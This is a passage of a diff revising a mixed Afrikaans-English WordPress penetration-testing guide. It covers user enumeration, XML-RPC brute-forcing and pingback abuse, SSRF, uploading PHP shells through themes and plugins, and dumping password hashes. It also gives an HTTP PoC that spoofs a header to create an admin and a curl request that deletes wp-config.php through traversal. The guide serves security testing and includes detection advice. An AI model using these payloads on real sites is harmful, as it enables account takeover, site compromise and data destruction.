a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -10,27 +10,27 @@ - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - In **wp-config.php** kan jy die root-wagwoord van die databasis vind. -- Standaard aanmeldpaaie om te kontroleer: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Main WordPress Files** - `index.php` -- `license.txt` bevat nuttige inligting soos die geïnstalleerde WordPress-weergawe. +- `license.txt` bevat nuttige inligting soos die WordPress weergawe wat geïnstalleer is. - `wp-activate.php` word gebruik vir die e-pos-aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word. -- Aanmeld-mappes (kan hernoem wees om dit te verberg): +- Login folders (may be renamed to hide it): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` is 'n lêer wat 'n funksie van WordPress verteenwoordig wat data toelaat om gestuur te word met HTTP as die transpor-meganisme en XML as die enkodering. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- Die `wp-content` vouer is die hoofgids waar plugins and themes gestoor word. -- `wp-content/uploads/` is die gids waar enige lêers wat na die platform opgelaai is, gestoor word. -- `wp-includes/` dit is die gids waar kernlêers gestoor word, soos sertifikate, fonts, JavaScript-lêers, en widgets. -- `wp-sitemap.xml` In Wordpress weergawes 5.5 en later, genereer Worpress 'n sitemap XML-lêer met alle openbare plasings en publiek navraagbare posttipes en taksonomieë. +- `xmlrpc.php` is 'n lêer wat 'n funksie van WordPress voorstel wat toelaat dat data gestuur word met HTTP as die vervoermeganisme en XML as die enkoderingmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- Die `wp-content` gids is die hoofgids waar plugins en temas gestoor word. +- `wp-content/uploads/` is die gids waar enige lêers wat na die platform opgelaai is gestoor word. +- `wp-includes/` is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets. +- `wp-sitemap.xml` In WordPress weergawes 5.5 en later genereer WordPress 'n sitemap XML-lêer met alle publieke plasings en publiek navraagbare plasingsoorte en taksonomieë. **Post exploitation** -- Die `wp-config.php` lêer bevat inligting wat benodig word deur WordPress om aan die databasis te koppel soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, authentication keys and salts, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees by foutopsporing. +- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, verifikasiesleutels en -soute, en die databasis-tafelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees by foutopsporing. ### Gebruikerstoestemmings @@ -40,13 +40,13 @@ - **Contributor**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie - **Subscriber**: Blaai deur plasings en wysig hul profiel -## **Passiewe Enumerasie** +## **Passive Enumeration** ### **Get WordPress version** -Kontroleer of jy die lêers `/license.txt` of `/readme.html` kan vind +Kyk of jy die lêers `/license.txt` of `/readme.html` kan vind -Binne die **bronkode** van die blad (voorbeeld vanaf [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### Kry Plugins +### Kry Inproppe ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Uittrek van weergawes in die algemeen +### Onttrek weergawes in die algemeen ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Aktiewe enumerasie -### Inproppe en temas +### Plugins and Themes -Jy sal waarskynlik nie alle inproppe en temas kan vind nie. Om al hulle te ontdek, sal jy nodig hê om **aktyf 'n lys van inproppe en temas te Brute Force** (hopelik is daar geautomatiseerde tools wat hierdie lyste bevat). +Jy sal waarskynlik nie in staat wees om al die Plugins en Themes te vind nie. Om almal te ontdek, sal jy **actively Brute Force a list of Plugins and Themes** moet uitvoer (hopelik is daar geautomatiseerde tools wat hierdie lyste bevat). ### Gebruikers -- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Forcing: +- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress site deur Brute Forcing users IDs: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` As die antwoorde **200** of **30X** is, beteken dit dat die id **geldig** is. As die antwoord **400** is, dan is die id **ongeldig**. -- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae uit te voer: +- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur te query: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Nog 'n `/wp-json/` endpoint wat sekere inligting oor gebruikers kan openbaar, is: +Nog 'n `/wp-json/` endpoint wat sommige inligting oor users kan openbaar is: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Note that this endpoint only exposes users that have made a post. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**. +Let daarop dat hierdie endpoint slegs gebruikers openbaar wat 'n post gemaak het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het sal voorsien word**. -Also note that **/wp-json/wp/v2/pages** could leak IP addresses. +Neem ook kennis dat **/wp-json/wp/v2/pages** IP-adresse kan leak. -- **Login username enumeration**: Wanneer daar aangemeld word by **`/wp-login.php`** is die **boodskap** **anders** en dui dit aan of die **gebruikersnaam bestaan of nie**. +- **Login username enumeration**: Wanneer aan te meld by **`/wp-login.php`** is die **boodskap** verskillend, wat aandui of die **username** bestaan of nie. ### XML-RPC -If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Jy kan hierdie proses automatiseer[ using this](https://github.com/relarizky/wpxploit) byvoorbeeld). +As `xml-rpc.php` aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle teen ander hulpbronne te loods. (Jy kan hierdie proses byvoorbeeld outomatiseer deur [hierdie](https://github.com/relarizky/wpxploit) te gebruik). -To see if it is active try to access to _**/xmlrpc.php**_ and send this request: +Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur hierdie versoek: **Kontroleer** ```html @@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Credentials Bruteforce** +**Aanmeldbewyse Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar metodes wat gebruik kan word om credentials te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur: +**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om aanmeldbewyse te brute-force. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur: ```html wp.getUsersBlogs @@ -138,7 +138,7 @@ Die boodskap _"Incorrect username or password"_ binne 'n 200 code response moet ![](<../../images/image (721).png>) -Met die korrekte credentials kan jy 'n lêer upload. In die response sal die path verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Deur die regte credentials te gebruik kan jy 'n lêer oplaai. In die response sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ Met die korrekte credentials kan jy 'n lêer upload. In die response sal die pat ``` -Daar is ook 'n **sneller manier** om brute-force credentials te doen deur **`system.multicall`** te gebruik, aangesien jy verskeie credentials in dieselfde versoek kan probeer: +Daar is ook 'n **vinnigere manier** om inlogbesonderhede te brute-force gebruikende **`system.multicall`**, aangesien jy verskeie inlogbesonderhede in dieselfde versoek kan probeer:
-**Bypass 2FA** +**Omseil 2FA** -Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud; daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang beskerm word deur 2FA, **mag jy dalk xmlrpc.php kan misbruik om met daardie creds in te log en 2FA te omseil**. Let wel dat jy nie al die aksies kan uitvoer wat jy deur die console kan doen nie, maar jy mag steeds toegang tot RCE kry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud; daarom ondersteun dit nie 2FA nie. Dus, as jy geldige inlogbesonderhede het maar die hooftoegang is beskerm deur 2FA, **mag jy xmlrpc.php misbruik om met daardie inlogbesonderhede in te teken en 2FA te omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsol kan doen sal kan uitvoer nie, maar jy kan steeds tot RCE raak soos Ippsec verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) -**DDoS or port scanning** +**DDoS of port scanning** -If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ -This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** a interne **network** te laat **scan** (you can indicate any port). +As jy die metode _**pingback.ping**_ binne die lys kan vind, kan jy Wordpress laat 'n ewekansige versoek na enige host/poort stuur.\ +Dit kan gebruik word om **duisende** Wordpress **sites** te vra om een **lokasie** te **access** (sodat 'n **DDoS** by daardie lokasie veroorsaak word) of jy kan dit gebruik om **Wordpress** 'n interne **network** te laat **scan** (jy kan enige poort aandui). ```html pingback.ping @@ -209,15 +209,15 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer ### wp-cron.php DoS -Hierdie lêer bestaan gewoonlik onder die root van die Wordpress-site: **`/wp-cron.php`**\ -Wanneer hierdie lêer **accessed** word, word 'n "**heavy**" MySQL **query** uitgevoer, so dit kan deur **attackers** gebruik word om 'n **DoS** te **cause**.\ -Boonop, standaard word `wp-cron.php` op elke bladsylaai aangeroep (elke keer as 'n client enige Wordpress-bladsy versoek), wat op hoë-verkeersites probleme kan veroorsaak (DoS). +Hierdie lêer bestaan gewoonlik in die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\ +Wanneer hierdie lêer **geopen** word, word 'n "**sware**" MySQL **query** uitgevoer, dus kan dit deur **attackers** gebruik word om 'n **DoS** te **veroorsaak**.\ +Verder word standaard die `wp-cron.php` by elke bladsy-laai aangeroep (enige keer 'n kliënt enige Wordpress-bladsy versoek), wat op webwerwe met hoë verkeer probleme (DoS) kan veroorsaak. -Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob op die host te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak). +Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob op die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak). ### /wp-json/oembed/1.0/proxy - SSRF -Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te besoek en die Worpress-site mag 'n versoek aan jou maak. +Probeer om toegang te kry tot _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ en die Wordpress-webwerf mag 'n versoek na jou stuur. This is the response when it doesn't work: @@ -230,26 +230,26 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Hierdie tool kontroleer of die **methodName: pingback.ping** en die pad **/wp-json/oembed/1.0/proxy** bestaan; as dit bestaan probeer dit om hulle te exploit. +Hierdie tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them. -## Outomatiese gereedskap +## Outomatiese Gereedskap ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Kry toegang deur 'n bit te oorskryf +## Kry toegang deur 'n bit oor te skryf -Meer as 'n regte aanval is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy flip 1 bit van enige wordpress-lêer. Dus kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP. +Dit is meer 'n nuuskierigheid as 'n werklike aanval. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omdraai. Dus kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` -## **Paneel RCE** +## **Panel RCE** -**Wysig 'n php uit die gebruikte tema (administrateur-aanmeldbewyse benodig)** +**Wysig 'n php-lêer van die gebruikte theme (admin credentials nodig)** -Voorkoms → Tema-redigeerder → 404-sjabloon (aan die regterkant) +Appearance → Theme Editor → 404 Template (aan die regterkant) Verander die inhoud na 'n php shell: @@ -263,13 +263,13 @@ Jy kan gebruik: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -om 'n sessie te kry. +om 'n session te kry. ## Plugin RCE ### PHP plugin -Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\ +Dit kan moontlik wees om .php-lêers as 'n plugin op te laai.\ Skep jou php backdoor byvoorbeeld soos: ![](<../../images/image (183).png>) @@ -286,7 +286,7 @@ Klik op Procced: ![](<../../images/image (70).png>) -Waarskynlik sal dit skynbaar niks doen nie, maar as jy na Media gaan, sal jy jou shell sien opgelaai: +Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell sien opgelaai: ![](<../../images/image (462).png>) @@ -294,36 +294,36 @@ Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer: ![](<../../images/image (1006).png>) -### Oplaai en aktivering van 'n kwaadaardige plugin +### Uploading and activating malicious plugin -Hierdie metode behels die installering van 'n kwaadaardige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te kry. Hierdie proses word via die WordPress dashboard uitgevoer soos volg: +Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te bekom. Hierdie proses word deur die WordPress dashboard uitgevoer soos volg: -1. **Verkryging van plugin**: Die plugin word verkry vanaf 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374). -2. **Installering van plugin**: -- Navigeer na die WordPress dashboard, dan na `Dashboard > Plugins > Upload Plugin`. +1. **Plugin Acquisition**: Die plugin word verkry van 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374). +2. **Plugin Installation**: +- Navigeer na die WordPress dashboard, dan gaan na `Dashboard > Plugins > Upload Plugin`. - Laai die zip-lêer van die afgelaaide plugin op. -3. **Aktivering van plugin**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word. -4. **Eksploitering**: +3. **Plugin Activation**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word. +4. **Exploitation**: - Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar. -- Die Metasploit framework voorsien 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongemagtigde toegang tot die webwerf gee. -- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf uit te buit. +- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word, wat ongemagtigde toegang tot die webwerf gee. +- Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf uit te buit. -Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om op te merk dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming. +Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress dashboard vir die installering en aktivering van die plugin uitbeeld. Dit is egter belangrik om te noem dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos pentesting met uitdruklike toestemming. -**Vir meer gedetailleerde stappe kyk:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) +**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## Van XSS na RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)**-kwesbaarheid op te gradeer na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir WordPress weergawes 6.X.X, 5.X.X en 4.X.X en laat toe om:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)** kwetsbaarheid op te skaal na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer inligting sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** - _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Laai jou custom plugin (backdoor) na WordPress op. -- _**(RCE) Built-In Plugin Edit:**_ Wysig 'n ingeboude plugin in WordPress. -- _**(RCE) Built-In Theme Edit:**_ Wysig 'n ingeboude tema in WordPress. -- _**(Custom) Custom Exploits:**_ Custom exploits vir derdeparty WordPress-plugins/temas. +- _**(RCE) Built-In Plugin Edit:**_ Wysig 'n Built-In Plugin in WordPress. +- _**(RCE) Built-In Theme Edit:**_ Wysig 'n Built-In Theme in WordPress. +- _**(Custom) Custom Exploits:**_ Custom Exploits vir derdeparty WordPress plugins/themes. ## Post Exploitation -Onttrek gebruikersname en wagwoorde: +Haal gebruikersname en wagwoorde uit: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -333,27 +333,27 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ``` ## Wordpress Plugins Pentest -### Aanvalsoppervlak +### Attack Surface -Om te verstaan hoe 'n Wordpress plugin funksionaliteit kan blootstel, is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/). +Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logiese, authorization- of authentication-bugs bevat. Verder is dit gereeld dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat in die Wordpress-instansie geauthentikeer is, kan hê** (onafhanklik van sy rol). +Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel is via AJAX handlers. Hierdie kan logic-, authorization- of authentication-bugs bevat. Verder gebeur dit gereeld dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n wordpress nonce wat **enige gebruiker wat in die Wordpress instance geauthentiseer is mag hê** (onafhanklik van hul rol). Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Die gebruik van `nopriv` maak die endpoint deur alle gebruikers toeganklik (selfs ongeauthentiseerde gebruikers).** +**Die gebruik van `nopriv` maak die endpoint toeganklik vir enige gebruikers (selfs nie-geauthentiseerde gebruikers).** > [!CAUTION] -> Verder, as die funksie net die outorisering van die gebruiker nagaan met die funksie `wp_verify_nonce`, kontroleer hierdie funksie net of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met lae bevoegdhede toegang hê tot aksies met hoë bevoegdhede. +> Daarbenewens, as die funksie slegs die autorisasie van die gebruiker nagaan met die funksie `wp_verify_nonce`, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan lae-geprivilegieerde gebruikers toegang hê tot hoog-geprivilegieerde aksies. - **REST API** -Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die funksie `register_rest_route`: +Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n REST API te registreer met die funksie `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -365,19 +365,19 @@ $this->namespace, '/get/', array( ``` Die `permission_callback` is 'n callback-funksie wat kontroleer of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep. -**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikers se toestemmingskontrole oorskiet.** +**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.** -- **Direct access to the php file** +- **Direkte toegang tot die PHP-lêer** -Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk via die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word. +Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat slegs deur toegang tot die lêer getrigger word, sal dit deur enige gebruiker uitgebuit kan word. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Sommige plugins implementeer "trusted header" kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header dan om die huidige gebruiker-konteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur 'n upstream-komponent nie, kan 'n aanvaller dit spoof en bevoorregte REST-roetes as 'n administrateur teiken. +Sommige plugins implementeer “trusted header”-kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header om die huidige gebruikerskonteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur 'n upstream-komponent nie, kan 'n aanvaller dit spoof en gemagtigde REST-roetes as 'n administrator bereik. -- Impact: Onautentiseerde privilege-opskaling na admin deur 'n nuwe administrateur te skep via die core users REST-route. +- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route. - Example header: `X-Wcpay-Platform-Checkout-User: 1` (dwing gebruiker-ID 1 af, tipies die eerste administrateurrekening). -- Exploited route: `POST /wp-json/wp/v2/users` met 'n verhoogde role array. +- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http @@ -393,29 +393,29 @@ Content-Length: 114 ``` Waarom dit werk -- Die plugin map `client-controlled` header na authentication state en slaan capability checks oor. -- WordPress core verwag `create_users` capability vir hierdie route; die plugin hack omseil dit deur direk die current user context vanaf die header te stel. +- Die plugin map ’n client-controlled header na authentication state en slaan capability checks oor. +- WordPress core verwag `create_users` capability vir hierdie roete; die plugin hack omseil dit deur die current user context direk vanaf die header te stel. -Verwagte suksesaanwysers +Verwagte sukses-aanwysers -- HTTP 201 met 'n JSON body wat die geskepte gebruiker beskryf. -- 'n Nuwe admin gebruiker sigbaar in `wp-admin/users.php`. +- HTTP 201 met ’n JSON-body wat die geskepte gebruiker beskryf. +- ’n nuwe admin gebruiker sigbaar in `wp-admin/users.php`. Opsporingskontrolelys - Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat custom headers lees om user context te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Hersien REST registrasies vir bevoorregte callbacks wat geen robuuste `permission_callback` checks het nie en eerder op request headers staatmaak. -- Kyk vir gebruik van core user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST handlers wat slegs deur header values geblokkeer word. +- Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste `permission_callback` kontroles het nie en eerder op request headers staatmaak. +- Soek na gebruike van core user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST handlers wat slegs deur header-waardes beperk word. -### Ongeauthentiseerde arbitraire lêerverwydering via wp_ajax_nopriv (Litho Theme <= 3.0) +### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress themes en plugins openbaar dikwels AJAX handlers deur die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback deur ongeauthentiseerde besoekers bereikbaar**, dus moet enige sensitiewe aksie ook die volgende implementeer: +WordPress temas en plugins maak gereeld AJAX handlers beskikbaar deur die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback deur nie-geauthentiseerde besoekers bereikbaar**, dus moet enige sensitiewe aksie bykomend die volgende implementeer: -1. 'n **capability check** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en -2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en -3. **Streng invoersanitisasie / validering**. +1. ’n **capability check** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en +2. ’n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en +3. **Streng invoer-sanitisasie / validasie**. -Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode (vereenvoudig) gelewer: +Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode (vereenvoudig) meegestuur: ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,37 +434,37 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Issues introduced by this snippet: +Probleme wat deur hierdie kodefragment veroorsaak word: -* **Ongeauthentiseerde toegang** – die `wp_ajax_nopriv_` hook is registered. +* **Ongeverifieerde toegang** – die `wp_ajax_nopriv_` hook is geregistreer. * **Geen nonce / capability check** – enige besoeker kan die endpoint aanroep. -* **Geen pad-sanitisering** – die user–controlled `fontfamily` string word aan 'n filesystem path gekoppel sonder filtering, wat klassieke `../../` traversal toelaat. +* **Geen pad-sanitisasie** – die gebruikersbeheerde `fontfamily` string word aan 'n lêerstelselpad gekonkateneer sonder filtrering, wat klassieke `../../` traversal toelaat. -#### Uitbuiting +#### Exploitation -'n Aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur: +'n aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `/wp-content/uploads/`) uitvee deur 'n enkele HTTP POST versoek te stuur: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Omdat `wp-config.php` buite *uploads* lê, is vier `../`-reekse genoeg op 'n standaardinstallasie. Om `wp-config.php` te verwyder dwing WordPress by die volgende besoek die *installasiewizard* om te begin, wat 'n volledige oorneem van die site moontlik maak (die aanvaller verskaf eenvoudig 'n nuwe DB-konfigurasie en skep 'n 